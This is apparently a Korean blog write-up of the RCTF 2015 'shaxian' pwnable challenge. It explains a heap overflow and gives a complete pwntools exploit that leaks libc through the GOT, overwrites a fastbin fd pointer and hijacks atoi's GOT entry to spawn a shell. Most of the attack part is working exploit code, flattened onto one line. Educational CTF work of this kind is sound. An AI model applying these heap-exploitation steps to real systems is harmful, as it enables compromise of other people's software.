-
RCTF 2015 SHAXPIANPwnable/CTF 2017. 11. 4. 21:20
첫 번째 메뉴 함수 사진이다.
여기서 보면 마지막 heap이 저장되어있는 포인터를 가지고와서 새롭게 할당되는 heap + 36에 이전 청크의 힙을 넣고 0x0804b1c0 포인터에 자기자신을 넣는다.(최신 청크니깐) 그 중간에 입력받는데 40만큼 할당하고 60만큼 입력받으면서 오버플로우가 일어난다.
처음 들어올때 입력받는 부분인데 0x0804b0c0(phone number) 0x0804b1c0(heap pointer) 0x0804b1e0(address) 순으로 전역변수가 선언되어있는데 우리는 이전 청크 pointer를 덮을 수 있고 heap pointer 가까이에 접근이 가능하다 그 뜻은 pointer 부분 이전에 phone_number 부분에 페이크 청크를 만들고 다음 청크 fd부분을 조작하고(fastbin fd overwrite) heap pointer를 조작하면 쉘을 딸수있다.
1번 메뉴 사진에서 할당을하고 +36에 주소값을 넣고 heap pointer에 데이터를 입력받고 int형으로 입력을 받는다.
그 중간에 포인터를 조작하면 그 조작된 부분에 int형으로 입력할수있다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990from pwn import *p=process("./shaxian")elf=ELF("./shaxian")def add_number(address,number):p.recvuntil(':')p.sendline(address)p.recvuntil(':')p.sendline(number)def DIAN_CAI(shen,many):p.recvuntil(':')p.sendline("1")p.recvuntil('iao')p.sendline(shen)p.recvuntil('?')p.sendline(str(many))def submit():p.recvuntil(':')p.sendline("2")def receipt(RECEIPT):p.recvuntil(':')p.sendline("3")p.recvuntil(':')p.sendline(RECEIPT)def review():p.recvuntil(':')p.sendline("4")prev = 0x0804b1b0add_number("/bin/sh\00","D"*240+p32(0)+p32(0x31))DIAN_CAI("A"*24,24)DIAN_CAI("B"*24,24)submit()review()print p.recvuntil("A"*24+" * ")heap = p.recv(9)heap = int(heap)heap = hex(heap)heap = int(heap,16)heap_1 = heap - 0x30print hex(heap)print hex(heap_1)DIAN_CAI("A"*32+p32(elf.got['malloc']),40)review()p.recvuntil('40\n')puts = u32(p.recv(4))libc_base = puts - 0x5fca0system = libc_base + 0x3ada0print hex(puts)print hex(libc_base)print hex(system)DIAN_CAI("B"*32+p32(0),38)DIAN_CAI("C"*32+p32(heap+0x8),38)DIAN_CAI("D"*31,40)submit()DIAN_CAI("B"*32+p32(0)+p32(0)+p32(0x31)+p32(prev),50)DIAN_CAI("C"*32+p32(prev+0x8),36)print hex(prev)payload = "Z"*4payload += p32(elf.got['atoi'])max_hex = 0xffffffffpayload2 = max_hex - systempayload2 = (0 - payload2) - 1print hex(elf.got['atoi'])print putsprint int(payload2)DIAN_CAI(payload,str(payload2))p.recv(1024)p.sendline("1")p.recv(1024)p.sendline("2")p.interactive()cs 'Pwnable > CTF' 카테고리의 다른 글
RCTF 2017 RNOTE (0) 2017.11.08 RCTF 2017 AirCraft (0) 2017.11.08 RCTF 2015 welpwn (0) 2017.11.04 Belluminar 2016 remuheap (0) 2017.10.19 31c3ctf 2014 mynx (1) 2017.10.09